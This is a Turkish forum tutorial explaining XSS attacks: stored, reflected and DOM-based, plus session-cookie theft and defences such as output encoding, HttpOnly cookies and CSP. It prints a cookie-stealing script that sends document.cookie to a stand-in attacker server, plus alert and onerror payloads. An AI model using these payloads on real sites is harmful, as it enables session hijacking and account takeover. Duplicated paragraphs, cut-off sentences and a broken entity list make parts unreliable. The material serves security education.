Selamlar Sevgili Siberatay Mensupları
Web Güvenliği serimizin üçüncü partına hepiniz hoş geldiniz.
Geçtiğimiz bölümde SQL Injection ile veritabanlarının nasıl kalbinden bıçaklandığını, sorgu mantığının nasıl manipüle edildiğini uzun uzun konuşmuş, arka plandaki o karanlık dünyaya inmiştik. "Asla istemciye güvenme" kuralını da kafamıza kazıdığımıza göre, bugün rotayı biraz daha kullanıcı tarafına, tarayıcıların içinde fırtınalar koparan bambaşka bir canavara kırıyoruz: XSS (Cross-Site Scripting).
Şöyle etrafınıza bir bakın; bugün girdiğiniz sosyal medya siteleri, forumlar, e-ticaret platformları... Hepsi sizin tarayıcınızda (Chrome, Firefox vb.) çalışıyor ve sizinle sunucu arasında sürekli bir veri akışı var. Geliştiriciler genellikle "Kullanıcı kendi tarayıcısında ne yapabilir ki alt tarafı buton tıklıyor" rahatlığıyla yaklaşır olaya. İşte saldırganlar tam da bu rehavetten beslenir.
Hazırsanız, çayları kahveleri tazeleyin; çünkü bugün tarayıcımızın içinde habersizce koşturan zararlı kodların dünyasına, yani XSS'in en derin detaylarına dalıyoruz.
Hadi başlayalım.
BİR WEB SAYFASI NASIL OLUR DA KENDİ KULLANICISINA DÜŞMAN OLUR?
Önce olayın mantığını kafamızda oturtalım. Günlük hayattan basit bir benzetme yapalım: Diyelim ki mahallenin çocuk parkına gittiniz. Parkta kocaman, temiz, üzerinde herkesin güzel şeyler karalayabildiği ortak bir duyuru tahtası var. Normalde insanlar oraya "Ahmet buradaydı", "Hava çok güzel" falan yazar. Masumane bir alan.
Saldırgan ise gelir, o tahtaya sıradan bir tebeşirle yazı yazmak yerine, okunmasıyla birlikte oradan geçen herkesi hipnotize edecek veya cebindeki cüzdanı fırlatmasını sağlayacak büyüsel bir metin asar. Parka gelen herkes o yazıyı okuduğu an zihni bulanır ve saldırganın istediğini yapar.
İşte XSS tam olarak budur. Web uygulaması, kullanıcıdan aldığı girdiyi (bir yorum, bir profil ismi, arama çubuğuna yazılan bir kelime) hiçbir süzgeçten geçirmeden doğrudan sayfaya geri bastığında (DOM üzerine yansıttığında), tarayıcı şunu der:
"Aaa, sunucudan bana gelen bu metnin içinde bir JavaScript kod bloğu var, demek ki bunu çalıştırmam gerekiyor."
Ve tarayıcı o kodu kendi yerlisiymiş gibi, en yüksek yetkilerle çalıştırır. Kullanıcı feneri kendi ayağına sıkmış olur. :d
XSS ÇEŞİTLERİ: ÜÇ KABADAYI
XSS açıkları kendi içinde üç ana kategoriye ayrılır. Her birinin çalışma şekli, sızma noktası ve tehlike boyutu birbirinden farklıdır. Gelin bunları tek tek masaya yatıralım.
1. Stored XSS (Kalıcı / Veritabanı Tabanlı XSS)
Bütün XSS türleri arasında en tehlikeli, en "kabus" olanı budur. Neden mi? Çünkü zararlı kod, doğrudan hedef sistemin veritabanına kaydedilir.
Senaryo şöyle işler: Bir sohbet sitesindesiniz. Bir sohbet yazısının altına yorum yazma alanı var. Saldırgan bu alana normal bir yorum yazmak yerine şu meşhur masum görünmeyen JavaScript kodunu yapıştırır:
Yorum gönderilir ve veritabanına kaydedilir. Bu andan sonra, o mesajı okumak için siteye giren masum Ahmet, Mehmet veya Fatma... Kim o sayfayı açarsa, sunucu veritabanındaki o yorumu çekip sayfaya bastığı an, her birinin tarayıcısında arka planda o zararlı kod çalışır. Kullanıcılar hiçbir şey fark etmez, sayfa normal açılır ama arkada oturum bilgileri saldırganın sunucusuna çoktan uçmuştur. İşte kalıcı denmesinin sebebi budur; siz yorumu silene kadar siteye giren herkes av olur.
Senaryo şöyle işler: Bir sohbet sitesindesiniz. Bir sohbet yazısının altına yorum yazma alanı var. Saldırgan bu alana normal bir yorum yazmak yerine şu meşhur masum görünmeyen JavaScript kodunu yapıştırır:
<script>fetch('[http://saldırganın-sunucusu.com/steal?cookie=](http://saldırganın-sunucusu.com/steal?cookie=)' + document.cookie);</script>Yorum gönderilir ve veritabanına kaydedilir. Bu andan sonra, o mesajı okumak için siteye giren masum Ahmet, Mehmet veya Fatma... Kim o sayfayı açarsa, sunucu veritabanındaki o yorumu çekip sayfaya bastığı an, her birinin tarayıcısında arka planda o zararlı kod çalışır. Kullanıcılar hiçbir şey fark etmez, sayfa normal açılır ama arkada oturum bilgileri saldırganın sunucusuna çoktan uçmuştur. İşte kalıcı denmesinin sebebi budur; siz yorumu silene kadar siteye giren herkes av olur.
2. Reflected XSS (Yansıtmalı XSS)
Bu türde zararlı kod veritabanına kalıcı olarak kaydolmaz, anlık olarak kurbana yutturulur. Genellikle arama çubukları, hata mesajları veya URL parametreleri üzerinden vurur.
Senaryo şöyle işler: Bir e-ticaret sitesinde arama yaptığınızı düşünün. Aradığınız kelime bulunamadığında site ekrana şunu yazar: "Aradığınız 'laptop' kelimesine uygun sonuç bulunamadı."
Eğer geliştirici arama kutusuna girilen o metni temizlemeden doğrudan ekrana yansıtıyorsa, saldırgan size özel bir link hazırlar:
Saldırgan bu linki sosyal medyada veya e-posta yoluyla size atar. Siz güvendiğiniz bir site olduğu için linke tıklarsınız. Sayfa açıldığında URL'deki o zararlı kod arama sonucuna yansır ve tarayıcınızda çalışır. Bu açık genellikle oltalama (phishing) saldırılarında, kullanıcıyı kandırıp zararlı bir linke tıklatmak suretiyle tetiklenir.
Senaryo şöyle işler: Bir e-ticaret sitesinde arama yaptığınızı düşünün. Aradığınız kelime bulunamadığında site ekrana şunu yazar: "Aradığınız 'laptop' kelimesine uygun sonuç bulunamadı."
Eğer geliştirici arama kutusuna girilen o metni temizlemeden doğrudan ekrana yansıtıyorsa, saldırgan size özel bir link hazırlar:
[https://ornek-site.com/search?q=](https://ornek-site.com/search?q=)<script>alert('Hacklendin');</script>Saldırgan bu linki sosyal medyada veya e-posta yoluyla size atar. Siz güvendiğiniz bir site olduğu için linke tıklarsınız. Sayfa açıldığında URL'deki o zararlı kod arama sonucuna yansır ve tarayıcınızda çalışır. Bu açık genellikle oltalama (phishing) saldırılarında, kullanıcıyı kandırıp zararlı bir linke tıklatmak suretiyle tetiklenir.
3. DOM-based XSS (Document Object Model Tabanlı XSS)
Bu biraz daha yazılımcıların iç mimaride yaptığı hatadan kaynaklanır. Sunucuyla pek işi yoktur, tamamen istemci tarafındaki (Client-side) JavaScript kodunun dikkatsizliğinden doğar.
Tarayıcıda çalışan JavaScript, URL'deki
ARKADA DÖNEN GERÇEK: ÇEREZLER VE OTURUMLAR NASIL UÇURULUYOR?
"Tamam kod çalıştı da, adamlar benim bilgisayarıma sızıp benim gizli arşivimi mi çalacak?" diyorsanız, hayır olay genellikle o değil. Web dünyasında paranın ve yetkinin olduğu yer oturum (Session) ve Çerezler (Cookies) mabedidir.
Bir siteye kullanıcı adı ve şifrenizle girdiğinizde, sunucu sizi tanımak için her defasında tekrar şifre sormaz; tarayıcınıza bir
İşte XSS kodu tarayıcınızda çalıştırıldığında, JavaScript dilinin doğası gereği
Olayın sonu nerede biter biliyor musunuz? Saldırgan o çerezleri kendi tarayıcısına (örneğin Cookie-Editor gibi eklentilerle) yapıştırır ve sayfayı yeniler. Artık sunucunun gözünde o, sizdir. Şifrenizi bilmesine gerek bile kalmaz, doğrudan hesabınıza hukuki/dijital bir "Ghost" (Hayalet) olarak giriş yapar. Banka işlemlerinizi yapar, mesajlarınızı okur, verilerinizi indirir.
XSS AÇIKLARI NERELERDE YUVALANIR? (TEKNİK KONTROL LİSTESİ)
Geliştirici tarafında bu işin kabusu olmamak için nerelere dikkat etmek gerekiyor, biraz da koda inelim. Bir web uygulamasında XSS potansiyeli taşıyan başlıca yerler şunlardır:
Tarayıcıda çalışan JavaScript, URL'deki
# işaretinden sonrasını veya window.location gibi nesneleri okuyup doğrudan sayfadaki HTML yapısına (DOM) enjekte ediyorsa burada DOM XSS vardır. Sunucu loglarına bakarsınız temizdir çünkü istek sunucuya gitmeden tarayıcı içinde, istemci tarafında patlamıştır. Modern web uygulamalarının (React, Vue, Angular vb. yanlış kullanıldığında) artmasıyla popülaritesi artan sinsi bir türdür.
ARKADA DÖNEN GERÇEK: ÇEREZLER VE OTURUMLAR NASIL UÇURULUYOR?
"Tamam kod çalıştı da, adamlar benim bilgisayarıma sızıp benim gizli arşivimi mi çalacak?" diyorsanız, hayır olay genellikle o değil. Web dünyasında paranın ve yetkinin olduğu yer oturum (Session) ve Çerezler (Cookies) mabedidir.
Bir siteye kullanıcı adı ve şifrenizle girdiğinizde, sunucu sizi tanımak için her defasında tekrar şifre sormaz; tarayıcınıza bir
session_id veya auth token bırakır. Tarayıcı her sayfa değişiminde bu çerezi sunucuya sessizce fısıldar: "Bak ben Ahmet'im, anahtarım da bu."İşte XSS kodu tarayıcınızda çalıştırıldığında, JavaScript dilinin doğası gereği
document.cookie komutuna erişim hakkı vardır. Saldırgan o satırı çalıştırdığında, tarayıcınızdaki bütün o kritik kimlik çerezlerini okuyabilir ve tek bir HTTP isteğiyle kendi sunucusuna kopyalayabilir.Olayın sonu nerede biter biliyor musunuz? Saldırgan o çerezleri kendi tarayıcısına (örneğin Cookie-Editor gibi eklentilerle) yapıştırır ve sayfayı yeniler. Artık sunucunun gözünde o, sizdir. Şifrenizi bilmesine gerek bile kalmaz, doğrudan hesabınıza hukuki/dijital bir "Ghost" (Hayalet) olarak giriş yapar. Banka işlemlerinizi yapar, mesajlarınızı okur, verilerinizi indirir.
XSS AÇIKLARI NERELERDE YUVALANIR? (TEKNİK KONTROL LİSTESİ)
Geliştirici tarafında bu işin kabusu olmamak için nerelere dikkat etmek gerekiyor, biraz da koda inelim. Bir web uygulamasında XSS potansiyeli taşıyan başlıca yerler şunlardır:
- Kullanıcı girdilerinin (input) ekrana doğrudan
innerHTML, document.write()veya doğrudan DOM elementlerine basıldığı noktalar. - Framework kullanılmayan saf JavaScript projelerinde
eval()fonksiyonunun rastgele string çalıştırması. - URL parametrelerinin (
location.search,location.hash) doğrulanmadan sayfada gösterilmesi. - Rich Text Editor (Zengin metin editörleri - örn: TinyMCE, CKEditor) kullanılan yerlerde HTML etiketlerinin (örneğin
<img>içine yazılanonerror=...JavaScript tetikleyicileri) filtrelenmemesi.
Örneğin, sıradan bir kullanıcı resim yüklerken
BU BELADAN NASIL KORUNACAĞIZ? (DEFANSİF MİMARİ)
Güzel güzel anlattık, peki bu XSS belasını sistemimizden nasıl def edeceğiz? Yazılımcılar için altın niteliğinde korunma yöntemleri şunlardır:
src yerine onerror="alert(1)" içeren bozuk bir görsel yolu verirse, görsel yüklenemediği an tarayıcı o hatayı yakalamak için onerror içindeki JavaScript kodunu çalıştırır. İşte zekice kurgulanmış bir XSS bypass yöntemidir bu.
BU BELADAN NASIL KORUNACAĞIZ? (DEFANSİF MİMARİ)
Güzel güzel anlattık, peki bu XSS belasını sistemimizden nasıl def edeceğiz? Yazılımcılar için altın niteliğinde korunma yöntemleri şunlardır:
1. Output Encoding (Çıktı Kodlama)
Kullanıcıdan gelen veriyi veritabanına kaydederken veya ekrana geri basarken, tarayıcının onu bir "kod" olarak değil, saf "metin" olarak algılamasını sağlamak için özel karakterler HTML entity'lerine dönüştürülmelidir.
< işareti yerine << işareti yerine >" işareti yerine "
Yazılımcı bunu manuel yapmak zorunda değildir; modern şablon motorları (React JSX, Jinja2, Twig vb.) bu kodlamayı varsayılan olarak otomatik yapar.
2. HttpOnly Bayrağı (Flag)
Çerezler (Cookies) oluşturulurken eğer hassas bir oturum token'ı tutuyorsanız, o çerez kesinlikle HttpOnly bayrağıyla işaretlenmelidir. Bu bayrağa sahip bir çereze, tarayıcıdaki JavaScript (document.cookie) asla erişemez. Kod çalışsa bile HttpOnly çerezler gizli kalsın diye dışarıya kapalı tutulur. Bu, XSS saldırılarında çerez çalınmasını büyük ölçüde engelleyen en güçlü kalkanlardan biridir.
3. Content Security Policy (CSP - İçerik Güvenlik Politikası)
Tarayıcıya HTTP Header üzerinden "Bu site sadece benim kendi sunucumdan gelen scriptleri çalıştırabilir, dışarıdan veya inline (satır içi) gelen hiçbir JavaScript kodunu çalıştırma!" talimatı vermektir. CSP, mükemmel kurgulandığında dünyadaki en katı XSS engelleyicilerinden biridir; kod enjekte edilse bile tarayıcı "Çalıştırmıyorum kardeşim" diyerek onu bloklar.
KONUYU BİRAZ TOPARLAYALIM
Bugün web güvenliğinin en popüler ve en sinsi zafiyetlerinden biri olan XSS (Cross-Site Scripting) dünyasını dev bir rehber eşliğinde masaya yatırdık:
KONUYU BİRAZ TOPARLAYALIM
Bugün web güvenliğinin en popüler ve en sinsi zafiyetlerinden biri olan XSS (Cross-Site Scripting) dünyasını dev bir rehber eşliğinde masaya yatırdık:
- XSS'in mantığının tarayıcının kullanıcıdan gelen veriyi kod sanmasından ibaret olduğunu gördük.
- Stored (Kalıcı), Reflected (Yansıtmalı) ve DOM-based olmak üzere üç temel türünü inceledik.
- Oturum çerezlerinin (document.cookie) çalınarak hesabın nasıl ele geçirildiğini teknik açıdan ele aldık.
- Output Encoding, HttpOnly çerezler ve CSP gibi hayati savunma mekanizmalarını konuştuk.
Pratik yapmadan bu işlerin oturmayacağını tekrar hatırlatmak isterim. Kendi lab ortamlarınızda (PortSwigger Academy vb.) XSS senaryolarını test etmek, payload yazmak işin mantığını kafanıza çivi gibi çakacaktır.
 Yasal ve Etik Kullanım UyarısıBu içerikte yer alan teknik bilgiler yalnızca eğitim, farkındalık ve yetkili güvenlik testleri amacıyla paylaşılmıştır. Anlatılan yöntemlerin yalnızca kendi sistemlerinizde veya açıkça izin verilmiş laboratuvar/test ortamlarında uygulanması tavsiye edilir. Yetkisiz sistemler üzerinde gerçekleştirilecek işlemler hukuki ve cezai sonuçlar doğurabilir. İzinsiz kullanım tamamen uygulayan kişinin kendi sorumluluğundadır. |
Bir sonraki bölümde, başkalarının hesaplarında yetkisiz işlemler yapmamızı sağlayan o meşhur mantık hatalarına ve CSRF / IDOR dünyasına adım atacağız. Hazırlıkları şimdiden yapın.
Bu günkü konumuz bu kadardı.
Kodunuz bug'sız, kahveniz koyu olsun.
İyi Forumlar Dilerim.
güzel konu olmuş
. Alana ilgisi olup okuyan insanın anlayabileceği bir yazı şekli. Konu sonunda özet geçmen ayrıca güzel olmuş alanla pek ilgim olmasa da okurken keyif aldığım bir yazı oldu.
